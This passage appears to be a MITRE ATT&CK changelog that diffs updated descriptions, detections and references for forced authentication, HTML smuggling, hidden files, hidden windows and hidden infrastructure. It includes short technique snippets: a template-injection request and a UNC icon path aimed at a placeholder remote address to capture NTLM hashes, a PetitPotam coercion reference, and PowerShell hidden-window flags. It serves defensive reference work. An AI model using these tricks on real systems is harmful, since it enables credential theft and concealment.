	>	ion: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF		>	US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file
	>	file with the icon filename pointing to an external referenc		>	with the icon filename pointing to an external reference suc
	>	e such as <code>\\[remote address]\pic.png</code> that will		>	h as <code>\\[remote address]\pic.png</code> that will force
	>	force the system to load the resource when the icon is rende		>	the system to load the resource when the icon is rendered t
	>	red to repeatedly gather credentials. (Citation: US-CERT APT		>	o repeatedly gather credentials.(Citation: US-CERT APT Energ
	>	Energy Oct 2017)		>	y Oct 2017) Alternatively, by leveraging the <code>EfsRpcOp
				>	enFileRaw</code> function, an adversary can send SMB request
				>	s to a remote system's MS-EFSRPC interface and force the vic
				>	tim computer to initiate an authentication procedure and sha
				>	re its authentication details. The Encrypting File System Re
				>	mote Protocol (EFSRPC) is a protocol used in Windows network
				>	s for maintenance and management operations on encrypted dat
				>	a that is stored remotely to be accessed over a network. Uti
				>	lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP
				>	C is used to open an encrypted object on the server for back
				>	up or restore. Adversaries can collect this data and abuse i
				>	t as part of a NTLM relay attack to gain access to remote sy
				>	stems on the same internal network.(Citation: Rapid7)(Citati
				>	on: GitHub)

Dropped Detections (Data Components -> Technique):

DS0022: File (File Access)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0022: Detect Forced SMB/WebDAV Authentication via lure files and outbound NTLM

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Access', 'Network Traffic: Network Traffic Flow', 'File: File Modification', 'File: File Creation', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:36:48.417000+00:00	2025-10-24 17:49:16.134000+00:00
description	Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security) Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB) There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as `\\[remote address]\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)	Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security) Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB) There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as `\\[remote address]\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017) Alternatively, by leveraging the `EfsRpcOpenFileRaw` function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of `EfsRpcOpenFileRaw` function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)
x_mitre_version	1.3	1.4

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Rapid7', 'description': 'Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.', 'url': 'https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/'}
external_references		{'source_name': 'GitHub', 'description': 'topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.', 'url': 'https://github.com/topotam/PetitPotam'}
x_mitre_contributors		Jiraput Thamsongkrah
x_mitre_contributors		Purinut Wongwaiwuttiguldej
x_mitre_contributors		Natthawut Saexu

[T1027.006] Obfuscated Files or Information: HTML Smuggling

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0313: Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:12.085000+00:00	2025-10-24 17:49:27.501000+00:00
x_mitre_detection	Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as `Blob`, `msSaveOrOpenBlob`, and/or `download` may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives. Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.
x_mitre_version	1.2	1.3

[T1564.001] Hide Artifacts: Hidden Files and Directories

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Adversaries may set files and directories to be hidden to ev	t	1	Adversaries may set files and directories to be hidden to ev
	>	ade detection mechanisms. To prevent normal users from accid		>	ade detection mechanisms. To prevent normal users from accid
	>	entally changing special files on a system, most operating s		>	entally changing special files on a system, most operating s
	>	ystems have the concept of a ‘hidden’ file. These files don’		>	ystems have the concept of a ‘hidden’ file. These files don’
	>	t show up when a user browses the file system with a GUI or		>	t show up when a user browses the file system with a GUI or
	>	when using normal commands on the command line. Users must e		>	when using normal commands on the command line. Users must e
	>	xplicitly ask to show the hidden files either via a series o		>	xplicitly ask to show the hidden files either via a series o
	>	f Graphical User Interface (GUI) prompts or with command lin		>	f Graphical User Interface (GUI) prompts or with command lin
	>	e switches (<code>dir /a</code> for Windows and <code>ls –a<		>	e switches (<code>dir /a</code> for Windows and <code>ls –a<
	>	/code> for Linux and macOS). On Linux and Mac, users can ma		>	/code> for Linux and macOS). On Linux and Mac, users can ma
	>	rk specific files as hidden simply by putting a “.” as the f		>	rk specific files as hidden simply by putting a “.” as the f
	>	irst character in the file or folder name (Citation: Sofacy		>	irst character in the file or folder name (Citation: Sofacy
	>	Komplex Trojan) (Citation: Antiquated Mac Malware). Files a		>	Komplex Trojan) (Citation: Antiquated Mac Malware). Files a
	>	nd folders that start with a period, ‘.’, are by default hid		>	nd folders that start with a period, ‘.’, are by default hid
	>	den from being viewed in the Finder application and standard		>	den from being viewed in the Finder application and standard
	>	command-line utilities like “ls”. Users must specifically c		>	command-line utilities like “ls”. Users must specifically c
	>	hange settings to have these files viewable. Files on macOS		>	hange settings to have these files viewable. Files on macOS
	>	can also be marked with the UF_HIDDEN flag which prevents t		>	can also be marked with the UF_HIDDEN flag which prevents t
	>	hem from being seen in Finder.app, but still allows them to		>	hem from being seen in Finder.app, but still allows them to
	>	be seen in Terminal.app (Citation: WireLurker). On Windows,		>	be seen in Terminal.app (Citation: WireLurker). On Windows,
	>	users can mark specific files as hidden by using the attrib.		>	users can mark specific files as hidden by using the attrib.
	>	exe binary. Many applications create these hidden files and		>	exe binary. Many applications create these hidden files and
	>	folders to store information so that it doesn’t clutter up t		>	folders to store information so that it doesn’t clutter up t
	>	he user’s workspace. For example, SSH utilities create a .ss		>	he user’s workspace. For example, SSH utilities create a .ss
	>	h folder that’s hidden and contains the user’s known hosts a		>	h folder that’s hidden and contains the user’s known hosts a
	>	nd keys. Adversaries can use this to their advantage to hid		>	nd keys. Additionally, adversaries may name files in a mann
	>	e files and folders anywhere on the system and evading a typ		>	er that would allow the file to be hidden such as naming a f
	>	ical user or system analysis that does not incorporate inves		>	ile only a “space” character. Adversaries can use this to t
	>	tigation of hidden files.		>	heir advantage to hide files and folders anywhere on the sys
				>	tem and evading a typical user or system analysis that does
				>	not incorporate investigation of hidden files.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0032: Detection Strategy for Hidden Files and Directories

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_contributors		['Gr@ve_Rose (tcpdump101.com on bsky)']

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Creation', 'File: File Metadata', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:27.868000+00:00	2025-10-24 17:49:34.244000+00:00
description	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls –a` for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls –a` for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character. Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.
x_mitre_version	1.1	1.2

[T1564.003] Hide Artifacts: Hidden Window

Current version: 1.4

Version changed from: 1.3 → 1.4

	Old Description			New Description
t	1	Adversaries may use hidden windows to conceal malicious acti	t	1	Adversaries may use hidden windows to conceal malicious acti
	>	vity from the plain sight of users. In some cases, windows t		>	vity from the plain sight of users. In some cases, windows t
	>	hat would typically be displayed when an application carries		>	hat would typically be displayed when an application carries
	>	out an operation can be hidden. This may be utilized by sys		>	out an operation can be hidden. This may be utilized by sys
	>	tem administrators to avoid disrupting user work environment		>	tem administrators to avoid disrupting user work environment
	>	s when carrying out administrative tasks. Adversaries may		>	s when carrying out administrative tasks. Adversaries may
	>	abuse these functionalities to hide otherwise visible window		>	abuse these functionalities to hide otherwise visible window
	>	s from users so as not to alert the user to adversary activi		>	s from users so as not to alert the user to adversary activi
	>	ty on the system.(Citation: Antiquated Mac Malware) On macO		>	ty on the system.(Citation: Antiquated Mac Malware) On macO
	>	S, the configurations for how applications run are listed in		>	S, the configurations for how applications run are listed in
	>	property list (plist) files. One of the tags in these files		>	property list (plist) files. One of the tags in these files
	>	can be <code>apple.awt.UIElement</code>, which allows for J		>	can be <code>apple.awt.UIElement</code>, which allows for J
	>	ava applications to prevent the application's icon from appe		>	ava applications to prevent the application's icon from appe
	>	aring in the Dock. A common use for this is when application		>	aring in the Dock. A common use for this is when application
	>	s run in the system tray, but don't also want to show up in		>	s run in the system tray, but don't also want to show up in
	>	the Dock. Similarly, on Windows there are a variety of feat		>	the Dock. Similarly, on Windows there are a variety of feat
	>	ures in scripting languages, such as [PowerShell](https://at		>	ures in scripting languages, such as [PowerShell](https://at
	>	tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B		>	tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B
	>	asic](https://attack.mitre.org/techniques/T1059/005) to make		>	asic](https://attack.mitre.org/techniques/T1059/005) to make
	>	windows hidden. One example of this is <code>powershell.exe		>	windows hidden. One example of this is <code>powershell.exe
	>	-WindowStyle Hidden</code>.(Citation: PowerShell About 2019		>	-WindowStyle Hidden</code>.(Citation: PowerShell About 2019
	>	) The Windows Registry can also be edited to hide applicati		>	) The Windows Registry can also be edited to hide applicati
	>	on windows from the current user. For example, by setting th		>	on windows from the current user. For example, by setting th
	>	e `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\		>	e `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\
	>	%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe`		>	%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe`
	>	Registry key to a maximum value, PowerShell windows will op		>	Registry key to a maximum value, PowerShell windows will op
	>	en off screen and be hidden.(Citation: Cantoris Computing)		>	en off screen and be hidden.(Citation: Cantoris Computing)
	>	In addition, Windows supports the `CreateDesktop()` API that		>	In addition, Windows supports the `CreateDesktop()` API that
	>	can create a hidden desktop window with its own correspondi		>	can create a hidden desktop window with its own correspondi
	>	ng <code>explorer.exe</code> process.(Citation: Hidden VNC)(		>	ng <code>explorer.exe</code> process.(Citation: Hidden VNC)(
	>	Citation: Anatomy of an hVNC Attack) All applications runni		>	Citation: Anatomy of an hVNC Attack) All applications runni
	>	ng on the hidden desktop window, such as a hidden VNC (hVNC)		>	ng on the hidden desktop window, such as a hidden VNC (hVNC)
	>	session,(Citation: Hidden VNC) will be invisible to other d		>	session,(Citation: Hidden VNC) will be invisible to other d
	>	esktops windows.		>	esktops windows. Adversaries may also leverage cmd.exe(Cita
				>	tion: Cybereason - Hidden Malicious Remote Access) as a pare
				>	nt process, and then utilize a LOLBin, such as DeviceCredent
				>	ialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cr
				>	ed Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to
				>	hide windows.

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0128: Detection Strategy for Hidden Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:07.977000+00:00	2025-10-24 17:49:23.485000+00:00
description	Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware) On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`.(Citation: PowerShell About 2019) The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing) In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding `explorer.exe` process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.	Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware) On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`.(Citation: PowerShell About 2019) The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing) In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding `explorer.exe` process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows. Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the `apple.awt.UIElement` or any other suspicious plist tag in plist files and flag them.
x_mitre_version	1.3	1.4

iterable_item_added
STIX Field	Old value	New Value
external_references		{'source_name': 'Cybereason - Hidden Malicious Remote Access', 'description': 'Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.', 'url': 'https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access'}
external_references		{'source_name': 'LOLBAS Project GitHub Device Cred Dep', 'description': 'Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/'}
external_references		{'source_name': 'SecureList BlueNoroff Device Cred Dev', 'description': 'Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.', 'url': 'https://securelist.com/bluenoroff-methods-bypass-motw/108383/'}
x_mitre_contributors		Liran Ravich, CardinalOps

[T1665] Hide Infrastructure

Current version: 1.2

Version changed from: 1.1 → 1.2

	Old Description			New Description
t	1	Adversaries may manipulate network traffic in order to hide	t	1	Adversaries may manipulate network traffic in order to hide
	>	and evade detection of their C2 infrastructure. This can be		>	and evade detection of their C2 infrastructure. This can be
	>	accomplished in various ways including by identifying and fi		>	accomplished by identifying and filtering traffic from defen
	>	ltering traffic from defensive tools,(Citation: TA571) maski		>	sive tools,(Citation: TA571) masking malicious domains to ob
	>	ng malicious domains to obfuscate the true destination from		>	fuscate the true destination from both automated scanning to
	>	both automated scanning tools and security researchers,(Cita		>	ols and security researchers,(Citation: Schema-abuse)(Citati
	>	tion: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-up		>	on: Facad1ng)(Citation: Browser-updates) and otherwise hidin
	>	dates) and otherwise hiding malicious artifacts to delay dis		>	g malicious artifacts to delay discovery and prolong the eff
	>	covery and prolong the effectiveness of adversary infrastruc		>	ectiveness of adversary infrastructure that could otherwise
	>	ture that could otherwise be identified, blocked, or taken d		>	be identified, blocked, or taken down entirely. C2 networks
	>	own entirely. C2 networks may include the use of [Proxy](ht		>	may include the use of [Proxy](https://attack.mitre.org/tec
	>	tps://attack.mitre.org/techniques/T1090) or VPNs to disguise		>	hniques/T1090) or VPNs to disguise IP addresses, which can a
	>	IP addresses, which can allow adversaries to blend in with		>	llow adversaries to blend in with normal network traffic and
	>	normal network traffic and bypass conditional access policie		>	bypass conditional access policies or anti-abuse protection
	>	s or anti-abuse protections. For example, an adversary may u		>	s. For example, an adversary may use a virtual private cloud
	>	se a virtual private cloud to spoof their IP address to clos		>	to spoof their IP address to closer align with a victim's I
	>	er align with a victim's IP address ranges. This may also by		>	P address ranges. This may also bypass security measures rel
	>	pass security measures relying on geolocation of the source		>	ying on geolocation of the source IP address.(Citation: sysd
	>	IP address.(Citation: sysdig)(Citation: Orange Residential P		>	ig)(Citation: Orange Residential Proxies) Adversaries may a
	>	roxies) Adversaries may also attempt to filter network traf		>	lso attempt to filter network traffic in order to evade defe
	>	fic in order to evade defensive tools in numerous ways, incl		>	nsive tools in numerous ways, including blocking/redirecting
	>	uding blocking/redirecting common incident responder or secu		>	common incident responder or security appliance user agents
	>	rity appliance user agents.(Citation: mod_rewrite)(Citation:		>	.(Citation: mod_rewrite)(Citation: SocGholish-update) Filter
	>	SocGholish-update) Filtering traffic based on IP and geo-fe		>	ing traffic based on IP and geo-fencing may also avoid autom
	>	ncing may also avoid automated sandboxing or researcher acti		>	ated sandboxing or researcher activity (i.e., [Virtualizatio
	>	vity (i.e., [Virtualization/Sandbox Evasion](https://attack.		>	n/Sandbox Evasion](https://attack.mitre.org/techniques/T1497
	>	mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod		>	)).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infra
	>	_rewrite) Hiding C2 infrastructure may also be supported by		>	structure may also be supported by [Resource Development](ht
	>	[Resource Development](https://attack.mitre.org/tactics/TA0		>	tps://attack.mitre.org/tactics/TA0042) activities such as [A
	>	042) activities such as [Acquire Infrastructure](https://att		>	cquire Infrastructure](https://attack.mitre.org/techniques/T
	>	ack.mitre.org/techniques/T1583) and [Compromise Infrastructu		>	1583) and [Compromise Infrastructure](https://attack.mitre.o
	>	re](https://attack.mitre.org/techniques/T1584). For example,		>	rg/techniques/T1584). For example, using widely trusted host
	>	using widely trusted hosting services or domains such as pr		>	ing services or domains such as prominent URL shortening pro
	>	ominent URL shortening providers or marketing services for C		>	viders or marketing services for C2 networks may enable adve
	>	2 networks may enable adversaries to present benign content		>	rsaries to present benign content that later redirects victi
	>	that later redirects victims to malicious web pages or infra		>	ms to malicious web pages or infrastructure once specific co
	>	structure once specific conditions are met.(Citation: StarBl		>	nditions are met.(Citation: StarBlizzard)(Citation: QR-cofen
	>	izzard)(Citation: QR-cofense)		>	se)

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0035: Internet Scan (Response Content)
DS0035: Internet Scan (Response Metadata)
DS0038: Domain Name (Domain Registration)

New Detections (Detection Strategies -> Technique):

DET0411: Detection Strategy for Hide Infrastructure

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Metadata', 'Network Traffic: Network Traffic Content', 'Domain Name: Domain Registration', 'Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:18.948000+00:00	2025-10-22 03:57:22.646000+00:00
description	Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies) Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)	Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential 